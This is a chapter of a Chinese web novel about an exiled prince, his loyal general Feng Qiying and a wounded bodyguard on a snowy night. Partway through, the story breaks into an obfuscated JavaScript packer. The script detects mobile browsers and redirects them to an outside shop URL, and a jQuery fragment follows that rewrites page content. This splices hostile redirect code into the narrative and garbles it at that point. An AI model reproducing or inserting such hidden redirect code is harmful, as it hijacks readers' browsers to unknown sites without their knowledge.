18.第十八章
作品:《父皇,我是gay》 不知是否与皇位被诅有关,今岁冬日格外严寒,大雪一日接着一日。
陈最抬头看天,月亮被云霭蒙着,模模糊糊的,似生长了一圈毛边。
在虞归寒的梅香别院时,那围在高墙外的守卫让陈最觉得够离谱了,眼下从梅香别院出来,好似还被人困着。
已是丑时,家家户户窗门紧闭,羽林军巡查的脚步却没有歇过,一会儿从前边那条街响起,一会儿又从后面那条街响起,现下整齐划一似乎正朝着陈最而来。
陈最瞥一眼肴洐,问:“陈峯又被刺杀了?”
肴洐想了想道:“殿下,并未有此消息。”
陈最恶劣道:“应当是死了,不若怎么全城戒备?”
这比入宫那日还要森严,阵仗还要大。
墙上贴着一沓告示,把肴洐的悬赏令都遮了去。
陈最让肴洐给自己撕下一张,放眼一瞅,心里登时一惊:“朝中如此动荡,你怎么没告诉我?”
他倒也不是同仇敌忾,若这刺客剜的是陈峯的眼,那他要叫对方一声‘好汉’,若剜去陈桁的眼,他要叫一声‘英雄’,若剜去陈鄞的眼,他要拍手叫好,夸一声‘替天行道’。
可这刺客剜的是朝中大臣的眼。
陈最一层身份是皇子,一层身份是那正三品的奉宸苑卿。
大抵同朝为官,陈最几分唏嘘。
肴洐不知如何回答,又不可能供出这事是虞归寒做的,只得默然。
不过陈最也只是感慨,又道:“看来住不了客栈了。”
他本还打算寻一家上等客栈,开一间天字号房,今夜好生休整,明日起床看狗咬狗。可京都戒备,他今夜下榻,不等天亮,三条狗怕是都能知道他从虞归寒别院里跑出来了。
当然也不能回府,府里桡玉这个哑巴就是老三派来的视线。
啧。
还得找时间把桡玉收拾了。
无名小卒陈小四,还带着肴洐这个朝廷要犯,深知凡事得低调。
但再低调今夜也得找下脚之处,他养尊处优,总不能去睡街头。
陈最思来想去:“有一处可去。”
天地静寂,冯府灯火通明。
冯其英夜夜噩梦,已经连着几日不休了。
他眼下乌青,可一闭眼,那些他不想忆起的画面就往他脑子灌。
冯其英平躺在榻,怔怔地盯着帐帘。
他永远忘不了那一日,永远!永远!
肃穆的朝堂上,他昂首挺胸。
章樊和宋从两人不知他为何挺直脊背,还取笑他,说‘四殿下打的是你的屁股,还是你的脑子?眼下三位殿下围剿,你不知伏小做低,还露出这么嚣张的姿态,冯其英啊,你这莽夫脑子没问题吧?’
两个文官懂个青瓜蛋子!
只知道‘之、乎、者、也’,读那狗屁圣贤书读傻了,又哪懂武人的热血!
冯其英是不屑与章、宋二人交谈,他在等,等他效忠的四殿下在这金銮上,给予另外三人重重一击。
冯其英想。
这些年来,他为陈最卖过命,为陈最做了许多掉脑袋的事。陈最也非常信任他,将皇家园林的田产收益及器物采买,都交给他做。
若陈最登基,陈最为皇,他就是镇国大将军!
外边风声呼啸,冯其英把脑袋蒙在被子里。
无法忘怀啊,简直无法忘怀。
‘镇国大将军’!
光是称号就是威风凛凛!冯家族谱都能撕了,从他这一页重新开始写。
冯其英情绪激昂,双拳紧握。
他就这么等着,等着。
终于!
他听到四殿下掷地一声,如惊雷炸响。
“父皇!儿臣也有要事启奏!”
冯其英这个八尺男儿,差些哭了。
他眼也不眨地盯着四殿下,看着四殿下从百官末序出列,一步一步走到御前。
那身姿可是常人能比!
然后冯其英听见,陈最一声——禀告父皇,儿臣是断袖!
一开始冯其英还没反应过来‘断袖’是何意,是看到章樊和宋从脸色剧变,他才后知后觉点点头。
哦,断袖啊。
四殿下是断袖啊。
什么!!!!!
冯其英如遭雷击,当场愣在原地。
耳边好似被一层东西糊住,其他人的声音再也听不见,只能听见他家四殿下的仙乐之声。
‘看见皇兄们身边总是那么多好儿郎围着转,儿臣心里头又酸又烧。’
等等,冯其英想。
殿下啊,卑职也围着您转啊,是卑职哪里做的不好吗?为何要去羡慕旁人?
‘儿臣做梦都想那样!’
冯其英恍惚地想,哪样啊?
‘想被那样一群威猛高大的男人围着、捧着、疼着,想让他们眼里只有我一个!’
冯其英:“……”
对不住了四殿下,卑职已经娶亲了,妾室都纳了两个,最小的孩子都已学语了。
‘父皇,父皇,儿臣没病。’
‘儿臣就是喜欢男人。’
‘儿臣不是癔症,儿臣字字肺腑。’
冯其英只觉得头晕目眩,方才还挺直的腰背塌下去三分。
看见羽林军把陈最拖下去后,他的腰再也直不起来了。
说实话,冯其英是个纯粹的汉子,朝堂这一幕令他备受冲击。
但冯其英万万没想到,还有更多的冲击等着他。
京营里流言四起,说他是以色侍人,才当上了京营指挥使。
有人对着他指指点点,说,‘看不出来啊,冯其英这个莽夫也会卖弄色相。’
冯其英震惊了,同时也委屈地不行。
他拖出了一个说闲话的人,高高扬起他的拳头:“凭什么光说老子,跟在四殿下身边又不止老子一人,章樊和宋从你们怎么不说。”
那人答曰:‘章、宋二人不是高大威猛那一款。’
冯其英:“……”
好像是有那么几分道理啊,章樊和宋从这两个人瘦削得像半根柱子,他一拳头就能把两个人砸到地上,爬也爬不起来。
冯其英不服!
他与四殿下清清白白,他能得四殿下赏识、扶持,全靠他自己努力!
他努力地澄清,竭力地解释。
旁人说:“瞧,他急了。”
冯其英不解释了。
旁人说:“瞧,他认了。”
日他的爹!
旁人说:“瞧,他果然也是个断袖。”
冯其英这个八尺男儿,哭了。
四殿下啊,您快回来吧,快回来为卑职撑撑腰吧,卑职快碎了。
冯其英难过了几日,寻到虞归寒。
他说:“虞相,卑职可否见殿下一面?”
虞归寒问他:“冯将军有事?”
冯其英有些扭捏:“有些想念殿下了。”
虞归寒冷冷瞧来一眼,那眼神如此骇人,吓得冯其英夹着尾巴就跑了。
如今多日过去,陈最音讯全无,冯其英既恨他,又念他。
想再见四殿下一面,问问四殿下,四殿下赏识卑职,真是因为卑职威猛高大吗?
窗棂被风吹得‘咯吱’一响。
冯其英浑身一顿,猛地从被子里探出头,死死盯着窗。
踏踏踏踏。
窗外,似有脚步滑过。
冯其英直直盯着窗。
京都最近不太平,连续六名官员被剜目,加之早前大皇子被刺,梁帝震怒,命刑部、都察院、大理寺协查此案,又命五城兵马司、羽林军配合三司。
冯其英听说,三司进展并不顺利,那刺客武功极好,一袭寒光,就取人双眼,现场并未留下过多线索。
踏踏踏踏。
脚步沿着墙壁,从窗棂一路来到门边。
冯其英伸手去摸枕头下的匕首,他拔了刀,随手把刀鞘扔开。
近日坊间流传,说那刺客是专剔朝廷腐肉的铡刀,冯其英替陈最干了不少脏事,可不也是腐肉一块。
冯其英赤脚摸到门边,身形贴于墙面,他屏息以待。
就在门牖被扑开那瞬,冯其英举刀暴起。
他心里头恨,痴,嗔,正不知如何发泄。
“今夜你是送到冯爷爷手里,冯爷爷这就送你上路,也免得你犯上作乱,将来去找四殿下麻烦!”
冯其英眼露凶光,他人高马大,一把短匕不是用来刺,反而是大开大阖地劈砍。
来人没用武器,用小臂去撞冯其英手腕,手在半空拧上一圈,俨然是要夺刀。
一招之下,冯其英便知对方武功深浅,他退后半步,将持刀的左手往身后一背,紧接着右手出招。
来人以为他将匕首切到右手,便去抵挡他右手。
哪知冯其英右手只是一个硕大的拳头,背身不过虚晃一枪,匕首还在他左手里!
双手出击,冯其英高喝:“给老子——”
“冯其英啊冯其英。”门外其实两道影子,另一道并未参与打斗的身影道,“本皇子是该骂你眼拙呢,还是该夸你忠心耿耿呢?”
冯其英一顿。
这声音!
这如仙乐一般的音色!
冯其英猛然抬头。
门口两道身影,都戴着帷帽。
但冯其英一眼认出了陈最:“殿下!!!!”
陈最说:“本皇子还没死呢,你嚎什么丧?”
头上帽檐垂下的黑纱遮到他鼻尖,撩得他鼻尖阵阵酥痒。
为掩人耳目,陈最这一路上都没摘帷帽,他早就不想忍耐,便一把摘下来,丢到了肴洐怀里。
哪知面容一露,那冯其英又嚎一声:“殿下!!!”
他‘噗通’一声跪下,匕首落到一边也不管,只膝行到陈最脚边,抱着他的小腿,一把鼻子一把泪,“殿下,殿下!!!卑职……卑职以为这辈子再也见不着您了。”
“滚呐。”陈最一脚把冯其英踹翻过去,他抽出自己的脚,不客气道,“少在老子面前装腔拿调,赶紧去给本皇子准备一间干净的屋子,把炭燃上,冻死老子了。”
踹开冯其英,陈最一边解狐裘,一边抬脚进屋。
肴洐紧跟之后。
陈最与冯其英擦身时,冯其英都能感受到陈最身上沾染的风雪凉意,忙道:“殿下您稍坐,卑职这就去!”
陈最也不客气,直接在外间凳子坐下。
从虞归寒别院到冯其英府上,这一路难走。陈最是又累又渴,他坐下来,肴洐上前,拎起案上的壶,把倒扣的杯子翻转过来,给陈最倒水。
水是凉的,不过陈最这会儿也不嫌弃,喝了些水润了喉。
不过陈最本来就觉得冷,这凉水下肚,更是寒冷,又吩咐冯其英道:“再备些热水热茶。”
冯其英正要应,忽而鼻尖闻到了一股血味。
他忙不迭问:“殿下受伤了?!”
陈最道:“肴洐受了些伤,你去找些金疮药来。”
冯其英却是一愣,他知道肴洐武功好,完完全全在他之上。想到方才与肴洐过招,怕是肴洐伤势严重,才会反应不过他那点把戏。
大雪之夜,陈最只带一侍卫而来,且肴洐还身负重伤。
冯其英急急问:“殿下,可是出事了?”
不等陈最开口,冯其英又急急道,“殿下不是在虞相那里,怎会……”
陈最不想多做解释,开门见山:“本皇子无路可去,就来寻你,怎么,不欢迎?”
说完半晌没听冯其英声音,陈最睨过去,看到冯其英脸色复杂,一副欲言又止的模样。
陈最最烦别人有话不说,道:“有屁就放。”
冯其英面色依然复杂:“殿……殿下从虞相那儿离开后,是直接到卑……卑职家中,还是寻……寻过他人?”
陈最只嫌冯其英磨叽,问的什么狗屁问题。
他说:“直接寻了你。”
这话一落,就见冯其英‘唰’地变了脸色,纵然屋中灯火昏暗,也可见他脸上青一阵白一阵。
他脑子里嗡嗡作响,只剩下两个念头来回冲撞:
——殿下只找了我。
——殿下为何只找我一人。
冯其英嘴唇嚅动了几下,‘殿下只找了我,是信任卑职还是……对卑职别有用心’,这话在他喉中挤了又挤。
多日以来,冯其英最想见的人就是陈最,他想从陈最这里获知一个答案。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952048|191142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他能从寂寂无名的小卒到如今的京营指挥使,是因着他的能力,还是因着……因着他高大威猛。
可如今陈最来了,冯其英却是近乡情怯,他想知道答案,又怕知道答案。他怕捅破与陈最之间的窗纸,将来不知如何面对。
冯其英今岁三十又六,活了三十六载的莽夫,还是头一回这么犹豫踌躇。
最终他双拳一握:“殿下,卑职有一疑问,想请殿下为卑职解惑。”
冯其英狠心道,“在殿下心中,卑职如何?”
陈最本不想搭理,但是觉得这个问题还挺有趣。
不知道冯其英是怎么有脸问得出来,他似笑非笑,看着杵在门边的冯其英:“力、余、智、短。”
力余,也就是威猛。
冯其英:“……”
冯其英接受不了这个答案,慌不择路地跑了。
万籁俱寂。
冯其英准备得有些久了,久到肴洐频频往外望。
肴洐道:“殿下,冯其英今日奇怪。”
陈最倒是不担心,冯其英这匹夫虽然粗鄙少智,但胜在忠心耿耿。
可又过了许久,陈最都有不耐了,冯其英终于回来了。
冯其英浑身僵硬:“殿下,请。”
陈最重新拢上狐裘,这才跟着冯其英穿过回廊。
行至一间屋子,冯其英躬身。
陈最道:“没你的事了,滚吧。”
肴洐推门,陈最进了屋。
冯其英在门前踱了几步,终是退下了。
墨色沉重,屋檐上伏着一人。
见陈最已找到歇脚处,便要撤身回去向虞归寒禀告。
忽然,瞧见夜色中显出几道人形来,他便又隐匿回来,注视着夜色细微变幻。
宰相之令,将陈最一举一动悉数告知,不容一丝遗漏。
“快啊,莫让贵人等急了。”
人影中一人压低声音。
暗卫不动声色地注视,人影幢幢,来人不是一个,不是两个,足足五人。
暗卫手放置腰间,若五人有任何异举,杀无赦。
五人不知自己被人盯上,来到陈最门前:“冯大人命小的们前来伺候贵人。”
暗卫:“……”
暗卫定眼一瞧,只见这五人个个都只穿着单薄的中衣,在寒风里冻得皮肤泛红,肌肉紧绷。衣带要系不系,襟口更是敞开到腰际,露出精壮的胸膛和腹肌。
不等他思考这是否在杀无赦之中,就见陈最的房门打开了。
五人鱼贯进了房中。
暗卫心中霎时一紧,不知如何将眼前一幕禀告宰相。
好在不多时,五人抱头而出,一声瓷器碎响在落在五人身后。
暗卫眉眼松动,耐心又等了一会儿,见不再有人打扰四皇子,足尖一跃,轻盈归于夜幕之中。
房中。
陈最被冯其英气得头疼,他恨不得再将冯其英狠狠打上三十棍才好。
陈最恨恨地骂着:“我看冯其英是欠收拾了,把我当什么,什么货色都敢往我身边送?”
甚至一送,送五个。
他坐在圈椅里,身侧一道屏风。屏风的另一边,肴洐褪下衣服为自己涂抹膏药。他一身的伤,先是在宝佛寺取三物被机关所伤,再是在虞归寒手里受了伤。
因着想尽办法去寻陈最,肴洐没有管这些伤。现下,多少伤口溃烂,与衣裳的料子黏在一块,脱衣时,又是一次撕开伤口。
没有观赏自己的伤,肴洐赶紧涂抹金疮药。
倒也不是紧张自己的伤势,而是紧张气味被陈最闻见。
刀尖舔血的人,知道闷在衣裳里的伤口有多难闻。金疮药带着药香,能压住浑浊的气味。
将金疮药覆上伤口,肴洐要紧咬牙关,狠狠攥着拳才没让自己发出声响。
身前的伤容易涂抹,后背的伤就难以企及。其实肴洐双臂不短,平时也能够着后背,只是如今双臂各自有伤,再去够身后,伤口就会再撕开,又渗出难闻的血来。肴洐很是为难。想了想,他抽开长剑,把金疮药先在剑刃上覆上一层,随后反过胳膊,用白刃在背后来回磨。有时没注意,刀刃又在背上划出细长新伤,肴洐都忍着,直到金疮膏药用完,才拢上衣裳。
他看着屏风,屏风拓着陈最身影。
应该是累了,陈最倚在圈椅中睡着了。
肴洐盯着屏风上的影,瞧了又瞧。
微微恍惚。
今夜过去,他在陈最身边待了整三年。
地上残着瓷盏的碎片,这只杯盏还挺好看的,不过被陈最用来砸人了。
担心碎片伤了陈最,肴洐弯腰拾起来。
碎片棱角锋利,肴洐却迟迟没有丢弃。
他握在手中,用指腹去抵棱角处。
他与冯其英并无什么接触,也就是办陈最交代的差事时,偶尔会有几句公事公办的交谈。
可肴洐知道冯其英为何会送来五个男人。
冯其英不是在讨好。
冯其英再是力余智短,也应当知道,今时今夜,都不是送人的时机。
之所以送了五人过来,那是因为冯其英心里没有妄念。冯其英应当是被陈最‘断袖言论’惊住了,于是用这五个男人告诉陈最,他不会以身侍主的决心。
以身……
侍主……
“肴洐。”屏风那边陈最忽然一声。
肴洐如梦初醒,指腹猝然被碎片割破,血珠滚落,他慌忙蜷起手指,将伤口死死按在衣襟上:“属下在。”
陈最呵欠一声:“冷。”
“是。”
肴洐看见桌上一件狐裘,是陈最从别院带出来,进门后随手扔在那的。
他用茶壶里的水净了手,这才捧起狐裘,绕过屏风。
大抵是他动作慢了,陈最又睡了去。
肴洐小心地放下狐裘,而就在狐裘将要落在陈最身上时,肴洐的动作赫然顿住。
他嗅力极好,闻见沁在狐裘风毛里的梅香。
这是狐裘是,虞归寒的。
肴洐垂着头,他听着陈最熟睡的气息。
挣扎,压不住的情绪。
最终,他扔开了狐裘,去榻上拿来被子,轻柔地盖在陈最身上。

